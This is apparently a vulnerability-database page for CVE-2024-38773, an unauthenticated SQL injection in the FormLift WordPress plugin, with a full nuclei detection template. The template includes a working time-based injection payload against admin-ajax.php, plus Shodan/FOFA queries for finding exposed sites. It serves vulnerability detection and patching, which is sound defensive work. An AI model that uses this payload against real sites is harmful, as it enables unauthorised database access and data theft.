HexBrain

Browse / CVEs / CVE-2024-38773

CVE-2024-38773· CWE-89

FormLift for Infusionsoft Web Forms <= 7.5.17 - SQL Injection

criticalseverity
10CVSS score
2%likelihood of exploitation, next 30 days
81%of all CVEs are less likely
Readycheck to confirm it

The FormLift for Infusionsoft Web Forms plugin for WordPress is vulnerable to SQL Injection via the 'form_id' parameter in versions up to, and including, 7.5.17 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Impact

Attackers can execute arbitrary SQL commands, potentially leading to data disclosure or manipulation.

Fix

Update to the latest version of FormLift for Infusionsoft Web Forms.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains(body, "/formlift")
Send: @timeout: 30s
Positive when: duration >= 7 and status_code == 500 and contains(content_type, "text/html")

Run it with nuclei: nuclei -id CVE-2024-38773 -u <target>

The full check
id: CVE-2024-38773

info:
  name: FormLift for Infusionsoft Web Forms <= 7.5.17 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    The FormLift for Infusionsoft Web Forms plugin for WordPress is vulnerable to SQL Injection via the 'form_id' parameter in versions up to, and including, 7.5.17 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data disclosure or manipulation.
  remediation: |
    Update to the latest version of FormLift for Infusionsoft Web Forms.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/formlift/formlift-for-infusionsoft-web-forms-7517-unauthenticated-sql-injection
    - https://patchstack.com/database/wordpress/plugin/formlift/vulnerability/wordpress-formlift-plugin-7-5-17-unauthenticated-blind-sql-injection-vulnerability
    - https://plugins.trac.wordpress.org/changeset?old_path=/formlift/tags/7.5.17&new_path=/formlift/tags/7.5.18&sfp_email=&sfph_mail=
    - https://nvd.nist.gov/vuln/detail/CVE-2024-38773
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2024-38773
    cwe-id: CWE-89
    epss-score: 0.01987
    epss-percentile: 0.80788
  metadata:
    max-request: 1
    verified: true
    fofa-query: body="/wp-content/plugins/formlift/"
    shodan-query: html:"/wp-content/plugins/formlift/"
  tags: cve,cve2024,wordpress,wp,wp-plugin,sqli,formlift

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "/formlift")'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 30s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=formlift_submit_form&form_id=0 UNION SELECT SLEEP(7)--

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 7'
          - 'status_code == 500'
          - 'contains(content_type, "text/html")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from